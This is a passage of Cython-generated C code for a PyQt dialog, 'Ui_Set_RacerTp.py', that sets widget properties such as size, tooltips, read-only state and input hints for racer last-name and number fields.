<<<<<<<<<<<<<< * self.R_lastname.setMouseTracking(False) * self.R_lastname.setAcceptDrops(False) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__30, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":49 * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) * self.R_lastname.setMouseTracking(False) # <<<<<<<<<<<<<< * self.R_lastname.setAcceptDrops(False) * self.R_lastname.setToolTip("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__31, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":50 * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) * self.R_lastname.setMouseTracking(False) * self.R_lastname.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.R_lastname.setToolTip("") * self.R_lastname.setAccessibleName("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__32, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":51 * self.R_lastname.setMouseTracking(False) * self.R_lastname.setAcceptDrops(False) * self.R_lastname.setToolTip("") # <<<<<<<<<<<<<< * self.R_lastname.setAccessibleName("") * self.R_lastname.setAccessibleDescription("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__33, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":52 * self.R_lastname.setAcceptDrops(False) * self.R_lastname.setToolTip("") * self.R_lastname.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_lastname.setAccessibleDescription("") * self.R_lastname.setInputMask("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__34, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":53 * self.R_lastname.setToolTip("") * self.R_lastname.setAccessibleName("") * self.R_lastname.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_lastname.setInputMask("") * self.R_lastname.setText("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__35, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":54 * self.R_lastname.setAccessibleName("") * self.R_lastname.setAccessibleDescription("") * self.R_lastname.setInputMask("") # <<<<<<<<<<<<<< * self.R_lastname.setText("") * self.R_lastname.setFrame(False) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__36, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":55 * self.R_lastname.setAccessibleDescription("") * self.R_lastname.setInputMask("") * self.R_lastname.setText("") # <<<<<<<<<<<<<< * self.R_lastname.setFrame(False) * self.R_lastname.setReadOnly(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__37, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":56 * self.R_lastname.setInputMask("") * self.R_lastname.setText("") * self.R_lastname.setFrame(False) # <<<<<<<<<<<<<< * self.R_lastname.setReadOnly(True) * self.R_lastname.setPlaceholderText("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__38, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":57 * self.R_lastname.setText("") * self.R_lastname.setFrame(False) * self.R_lastname.setReadOnly(True) # <<<<<<<<<<<<<< * self.R_lastname.setPlaceholderText("") * self.R_lastname.setObjectName("R_lastname") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__39, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":58 * self.R_lastname.setFrame(False) * self.R_lastname.setReadOnly(True) * self.R_lastname.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_lastname.setObjectName("R_lastname") * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__40, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":59 * self.R_lastname.setReadOnly(True) * self.R_lastname.setPlaceholderText("") * self.R_lastname.setObjectName("R_lastname") # <<<<<<<<<<<<<< * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__41, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":60 * self.R_lastname.setPlaceholderText("") * self.R_lastname.setObjectName("R_lastname") * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) # <<<<<<<<<<<<<< * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) * self.R_number.setToolTip("") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_Set_RacerTp); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_number, __pyx_t_2) < 0) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":61 * self.R_lastname.setObjectName("R_lastname") * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) # <<<<<<<<<<<<<< * self.R_number.setToolTip("") * self.R_number.setStatusTip("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QRect); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__42, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":62 * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) * self.R_number.setToolTip("") # <<<<<<<<<<<<<< * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__43, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":63 * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) * self.R_number.setToolTip("") * self.R_number.setStatusTip("") # <<<<<<<<<<<<<< * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__44, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":64 * self.R_number.setToolTip("") * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__45, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":65 * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__46, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":66 * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) # <<<<<<<<<<<<<< * self.R_number.setText("") * self.R_number.setMaxLength(5) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setInputMethodHints); if 